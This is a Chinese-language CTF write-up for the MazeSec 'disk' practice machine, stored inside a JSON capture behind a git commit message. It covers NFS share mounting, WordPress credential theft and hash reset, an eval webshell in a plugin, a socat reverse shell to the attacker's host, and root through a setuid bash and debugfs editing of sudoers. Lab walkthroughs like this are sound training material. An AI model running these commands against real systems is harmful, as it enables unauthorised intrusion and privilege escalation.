Local branch had diverged from origin/master (sibling commits on the same base). Rewrote local history linearly on top of origin/master, folding in all local content: exa/hot-platform discovery hunters, leaks ledger, nightly sweep orchestrator, updated .gitignore and skill docs, plus the latest hunt output and vault state. Remote-only files (vault keys, channel scripts) were restored rather than dropped, so the resulting tree is a full union of both sides.
1 line
14 KiB
JSON
1 line
14 KiB
JSON
{"repo": "apursuit/the0n3-blog", "files": {"posts/13.MazeSec/05.maze-sec-disk.md": {"09fcec1dd70a17d53b2d486792e4b8ee27c8e694": {"t": 1786068589.8185484, "n": 10362, "h": "a1fe00128eaf60ba", "c": "---\r\ntitle: MazeSec disk 靶机\r\ndate: 2026-03-07 13:58:09\r\npermalink: /pages/maze-disk/\r\ncategories:\r\n - MazeSec\r\ntags:\r\n - disk组\r\nauthor: \r\n name: the0n3\r\n link: https://the0n3.top\r\n---\r\n\r\n\r\n## 靶机信息\r\n\r\n靶机名称:disk \r\n靶机作者:ll104567/群主 \r\n靶机类型:Linux \r\n难度:Easy \r\n来源:MazeSec/QQ公开群 321948805 \r\n官网:https://maze-sec.com/ \r\n\r\n**关键词**:Bash算术解析注入、NFS组提权、PHP命令注入、Linux提权\r\n\r\n**摘要**:通过枚举 RPC/NFS 服务挂载共享目录,窃取 WordPress 数据库凭证并重置管理员密码,在绕过 disable_functions 写入 Webshell 后,借助 LinPEAS 发现明文密码,利用 NFS 的 UID/GID 映射特性配合 SUID 二进制实现权限提升,最终通过 debugfs 修改 sudoers 文件获取 root 权限\r\n\r\n## 端口扫描\r\n\r\nnmap 参数说明\r\n\r\n- -p-:扫描所有端口\r\n- -sS:TCP SYN 扫描,也称为半开放扫描,因为它不会完成 TCP 握手过程。这种扫描方式较快且隐蔽,适用于发现开放的端口。\r\n- -n:不进行 DNS 解析,直接使用 IP 地址进行扫描,可以加快扫描速度。\r\n\r\n```bash\r\n└─$ nmap 192.168.6.108 -p- -sS -n \r\n\r\nPORT STATE SERVICE\r\n22/tcp open ssh\r\n80/tcp open http\r\n111/tcp open rpcbind\r\n2049/tcp open nfs\r\n43725/tcp open unknown\r\n43855/tcp open unknown\r\n50577/tcp open unknown\r\n56239/tcp open unknown\r\n```\r\n\r\n## rpc、nfs 服务信息挖掘\r\n\r\n\r\n开放了 22、80、111、2049 端口,分别对应 SSH、HTTP、RPC 和 NFS 服务。\r\n\r\n对于 111、2049端口,可以借助 deepseek 了解一下,或者通过hacktricks 了解一下 rpc 和 nfs 服务的相关漏洞。\r\n\r\n> Portmapper 是一个用于将网络服务端口映射到 RPC (Remote Procedure Call) 程序编号的服务\r\n\r\n> NFS (Network File System) 是一种分布式文件系统协议,允许用户在网络上访问远程文件系统,就像访问本地文件一样。\r\n\r\nrpcbind 和 nfs 服务通常同时存在,nfs 服务运行在 2049 端口,其他服务运行在随机端口上,rpcbind 服务运行在 111 端口上。rpcbind 服务负责将 RPC 程序编号映射到对应的端口号。\r\n\r\n\r\n\r\n通过 hacktricks 给出的用法,对 rpc 服务、nfs 服务进行信息收集\r\n\r\n\r\n\r\n\r\n\r\n\r\n对 rpc 服务进行信息收集,可以发现 nfs 伴随着 mountd、nlockmgr 等服务一起运行,且 mountd 服务、nlockmgr 服务运行在多个随机端口上。\r\n\r\n```bash\r\n└─$ rpcinfo -T udp -p 192.168.6.108\r\n program vers proto port service\r\n 100000 4 tcp 111 portmapper\r\n 100000 3 tcp 111 portmapper\r\n 100000 2 tcp 111 portmapper\r\n 100000 4 udp 111 portmapper\r\n 100000 3 udp 111 portmapper\r\n 100000 2 udp 111 portmapper\r\n 100005 1 udp 58326 mountd\r\n 100005 1 tcp 56239 mountd\r\n 100005 2 udp 43422 mountd\r\n 100005 2 tcp 50577 mountd\r\n 100005 3 udp 39517 mountd\r\n 100005 3 tcp 43855 mountd\r\n 100003 3 tcp 2049 nfs\r\n 100003 4 tcp 2049 nfs\r\n 100227 3 tcp 2049 nfs_acl\r\n 100003 3 udp 2049 nfs\r\n 100227 3 udp 2049 nfs_acl\r\n 100021 1 udp 39610 nlockmgr\r\n 100021 3 udp 39610 nlockmgr\r\n 100021 4 udp 39610 nlockmgr\r\n 100021 1 tcp 43725 nlockmgr\r\n 100021 3 tcp 43725 nlockmgr\r\n 100021 4 tcp 43725 nlockmgr\r\n```\r\n\r\n\r\n\r\n使用 showmount 命令可以查看靶机共享的目录,`*` 表示允许任何主机访问挂载该共享目录。\r\n\r\n```bash\r\n└─$ showmount -e 192.168.6.108\r\nExport list for 192.168.6.108:\r\n/home/share *\r\n```\r\n\r\nkali 尝试挂载共享目录\r\n\r\n```bash\r\nmkdir -p /tmp/diskshare\r\n# -t nfs:指定文件系统类型为 NFS\r\n# -o nolock:禁用锁定机制\r\nsudo mount -t nfs 192.168.6.108:/home/share /tmp/diskshare -o nolock\r\n```\r\n\r\n进入共享目录,共享目录权限是 777!\r\n\r\n```bash\r\n└─$ cd /tmp/diskshare\r\n\r\n└─$ ls -alh\r\ntotal 12K\r\ndrwxrwxrwx 3 nobody nogroup 4.0K Mar 4 06:45 .\r\ndrwxrwxrwt 17 root root 420 Mar 7 01:15 ..\r\n-rw-r--r-- 1 root root 44 Mar 4 06:45 user.txt\r\ndrwxr-xr-x 5 root root 4.0K Mar 4 06:39 wordpress\r\n```\r\n\r\n可以看到共享目录下有一个 user.txt 文件和一个 wordpress 目录,user.txt 文件权限是 644,wordpress 目录权限是 755。wordpress 的wp-config.php 里可以找到数据库的用户名和密码,数据库用户名是 root,密码是 123456。\r\n\r\n```bash\r\n/** Database username */\r\ndefine( 'DB_USER', 'wp_user' );\r\n\r\n/** Database password */\r\ndefine( 'DB_PASSWORD', 'YourStrongPassword123!' );\r\n```\r\n\r\n\r\n## 80 端口信息挖掘\r\n\r\n访问 80 页面,一个登录页面,用户名密码硬编码在 js 里,没有实际作用\r\n\r\n\r\n\r\n同时,html 源码里存在一个主机域名 `disk.dsz`,可以给hosts文件添加一行解析,后续可以尝试测试虚拟主机\r\n\r\n\r\n\r\n目录扫描\r\n\r\n```bash\r\n# medium.txt 绝对路径 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \r\n# 为了每次手打命令更方便,复制到家目录了\r\n└─$ gobuster dir -u http://192.168.6.108 -w ~/medium.txt -x php,txt,html,zip,bak -t 50\r\n\r\n/index.php (Status: 200) [Size: 7771]\r\n/dbadmin.php (Status: 200) [Size: 2910]\r\n```\r\n\r\n扫描发现 dbadmin.php 页面,一个数据库管理页面,可以通过前面拿到的数据库密码登录,存在用户 `111`、`admin`\r\n\r\n\r\n\r\n\r\n\r\n访问虚拟主机域名 `disk.dsz`,一个wordpress 站点,**恭喜111 成为测试团队队长!**\r\n\r\n\r\n\r\n利用前面已经收集到的数据库管理页面,重置用户 `111`、`admin`的密码\r\n\r\n备份原哈希\r\n\r\n```plaintext\r\n111:$wp$2y$10$Dz/Cu3oiy0dzwe9akDQyTODKL70oMpBuhUwrN2AgPj1QkZyxUKNsm\r\nadmin:$wp$2y$10$NAtPiyytBt5OnS/myNDtieDLePPMtEaUTIq5lzO3rUS5ldsPOL2iy\r\n```\r\n\r\n通过查阅 wordpress 官方文档 https://developer.wordpress.org/reference/functions/wp_check_password/ ,以及源码验证,可以了解到 wordpress 对密码的哈希有多种兼容\r\n\r\n```php\r\n┌──(npc㉿kali)-[/tmp/diskshare/wordpress/wp-includes]\r\n└─$ cat pluggable.php | grep 'function wp_check_password' -A 30\r\n function wp_check_password(\r\n #[\\SensitiveParameter]\r\n $password,\r\n $hash,\r\n $user_id = ''\r\n ) {\r\n global $wp_hasher;\r\n\r\n if ( strlen( $hash ) <= 32 ) {\r\n // Check the hash using md5 regardless of the current hashing mechanism.\r\n $check = hash_equals( $hash, md5( $password ) );\r\n } elseif ( ! empty( $wp_hasher ) ) {\r\n // Check the password using the overridden hasher.\r\n $check = $wp_hasher->CheckPassword( $password, $hash );\r\n } elseif ( strlen( $password ) > 4096 ) {\r\n // Passwords longer than 4096 characters are not supported.\r\n $check = false;\r\n } elseif ( str_starts_with( $hash, '$wp' ) ) {\r\n // Check the password using the current prefixed hash.\r\n $password_to_verify = base64_encode( hash_hmac( 'sha384', $password, 'wp-sha384', true ) );\r\n $check = password_verify( $password_to_verify, substr( $hash, 3 ) );\r\n } elseif ( str_starts_with( $hash, '$P$' ) ) {\r\n // Check the password using phpass.\r\n require_once ABSPATH . WPINC . '/class-phpass.php';\r\n $check = ( new PasswordHash( 8, true ) )->CheckPassword( $password, $hash );\r\n } else {\r\n // Check the password using compat support for any non-prefixed hash.\r\n $check = password_verify( $password, $hash );\r\n }\r\n\r\n /**\r\n```\r\n\r\n\r\n- 如果哈希长度小于等于 32,使用 md5 验证\r\n- 如果全局变量 $wp_hasher 不为空,使用 $wp_hasher 的 CheckPassword 方法验证\r\n- 如果密码长度大于 4096,直接返回 false\r\n- 如果哈希以 '$wp' 开头,使用wordpress最新的前缀哈希验证\r\n- 如果哈希以 '$P$' 开头,使用 phpass 验证\r\n\r\n使用一条已知密码的 md5 哈希进行测试,修改111、admin用户密码\r\n\r\n```bash\r\n# -n 作用是禁止 echo 输出末尾的换行符,这样可以确保输出的字符串与哈希值完全匹配,避免因为换行符导致验证失败。\r\necho -n '111' | md5sum\r\n```\r\n\r\n或者直接使用 mysql 的md5函数\r\n\r\n```sql\r\nUPDATE wp_users SET user_pass = MD5('111') WHERE user_login = 'admin';\r\nUPDATE wp_users SET user_pass = MD5('111') WHERE user_login = '111';\r\n```\r\n\r\n修改后,可以使用111、admin用户登录后台,可以发现,111是真正的管理员,admin是一个订阅者,权限非常有限\r\n\r\n## 获取反弹 shell\r\n\r\n选择工具、插件编辑器、选择 helloDolly 插件,修改hello.php 文件,添加webshell,在未知 disable_funtions 的情况下,写一条 eval 语句,后续无需再修改文件。\r\n\r\n\r\n\r\n插件处启用 helloDolly 插件,访问一次首页,手传payload\r\n\r\n\r\n\r\ndisable_functions 禁用了system,passthru,shell_exec,proc_open,pcntl_exec,dl,使用 exec 函数执行反弹 shell 命令\r\n\r\n\r\n\r\n尝试 socat 反弹shell,更丝滑一些\r\n\r\nkali 监听\r\n\r\n```bash\r\nsocat file:`tty`,raw,echo=0 tcp-listen:5555\r\n```\r\n\r\n靶机\r\n\r\n```bash\r\nsocat exec:\"bash -li\",pty,stderr,setsid,sigint,sane tcp:192.168.6.10:5555\r\n```\r\n\r\n## linpeas 密码发现\r\n\r\n> https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS\r\n\r\nkali 开启一个 http 服务,供靶机下载 linpeas.sh,使用 -a 参数进行全面的系统检查,可以发现用户 bigcatmiao 密码也是 bigcatmiao\r\n\r\nlinpeas 在运行 cloud 模块时,总是卡住一样,使用 -o 参数排除 cloud 模块\r\n\r\n```bash\r\nbash linpeas.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex\r\n```\r\n\r\n\r\n\r\n> bigcatmiao:bigcatmiao\r\n\r\n## nfs 文件映射+组提权\r\n\r\n上线 bigcatmiao 用户后,尝试搜索 suid 文件,发现 suid 的 mount.nfs 文件\r\n\r\n```bash\r\nbigcatmiao@Disk:/home/share$ find / -perm -4000 -type f 2>/dev/null\r\n/usr/sbin/mount.nfs\r\n/usr/bin/chsh\r\n/usr/bin/chfn\r\n/usr/bin/newgrp\r\n/usr/bin/gpasswd\r\n/usr/bin/mount\r\n/usr/bin/su\r\n/usr/bin/umount\r\n/usr/bin/pkexec\r\n/usr/bin/sudo\r\n/usr/bin/passwd\r\n/usr/lib/dbus-1.0/dbus-daemon-launch-helper\r\n/usr/lib/eject/dmcrypt-get-device\r\n/usr/lib/openssh/ssh-keysign\r\n/usr/libexec/polkit-agent-helper-1\r\n```\r\n\r\n在 hacktricks 找 nfs 服务相关tricks,nfs 会对挂载的客户端用户的 uid、gid 进行映射,默认配置`root_squash/no_all_squash`,这意味着当 root 用户访问 nfs 共享目录时,会被映射为 nobody 用户,其他用户访问 nfs 共享目录时,保持原有的 uid、gid 不变!\r\n\r\n\r\n\r\n配置文件\r\n\r\n```bash\r\nbigcatmiao@Disk:/home/share$ cat /etc/exports \r\n\r\n/home/share *(rw,sync,no_subtree_check)\r\n```\r\n\r\n只有一条记录,允许任何主机访问挂载该共享目录,且具有读写权限。其他使用默认,因此,root 用户访问 nfs 共享目录时,会被映射为 nobody 用户,其他用户访问 nfs 共享目录时,保持原有的 uid、gid 不变\r\n\r\n可以利用 gid 映射切换实际的组来提权,这台可以选择 shadow 组、disk组,shadow组可以读取 /etc/shadow 文件,破解 root 哈希,这里比较遗憾,爆破不出来\r\n\r\n靶机\r\n\r\n```bash\r\ncp /bin/bash /home/share/bash\r\n```\r\n\r\nkali\r\n\r\n```bash\r\n# 切换到 disk 组\r\nnewgrp disk\r\ncp bash bashDisk\r\nchmod +s bashDisk\r\n```\r\n\r\n回到靶机\r\n\r\n```bash\r\nls -alh \r\n-rwsr-sr-x 1 xxx disk 1.2M Mar 7 02:43 bashDisk\r\n./bashDisk -p\r\nid\r\nbashDisk-5.0$ id\r\nuid=1000(bigcatmiao) gid=1000(bigcatmiao) egid=6(disk) groups=6(disk),1000(bigcatmiao)\r\n```\r\n\r\n添加一条sudo规则\r\n\r\n```bash\r\nbigcatmiao@Disk:/home/share$ ./bashDisk -p\r\nbashDisk-5.0$ id\r\nuid=1000(bigcatmiao) gid=1000(bigcatmiao) egid=6(disk) groups=6(disk),1000(bigcatmiao)\r\nbashDisk-5.0$ echo \"bigcatmiao ALL=(ALL) NOPASSWD: ALL\" > /tmp/bigcatmiao\r\nbashDisk-5.0$ /usr/sbin/debugfs -w /dev/sda1\r\ndebugfs 1.44.5 (15-Dec-2018)\r\ndebugfs: write /tmp/bigcatmiao /etc/sudoers.d/bigcatmiao\r\nAllocated inode: 21\r\ndebugfs: ln <21> /etc/sudoers.d/bigcatmiao\r\ndebugfs: sif <21> i_mode 0100440\r\ndebugfs: sif <21> i_uid 0\r\ndebugfs: sif <21> i_gid 0\r\ndebugfs: q\r\nbashDisk-5.0$ sudo -l\r\nMatching Defaults entries for bigcatmiao on Disk:\r\n env_reset, mail_badpass,\r\n secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\r\n\r\nUser bigcatmiao may run the following commands on Disk:\r\n (ALL) NOPASSWD: ALL\r\nbashDisk-5.0$ \r\n```\r\n\r\n\r\n\r\n\r\n\r\n"}}}} |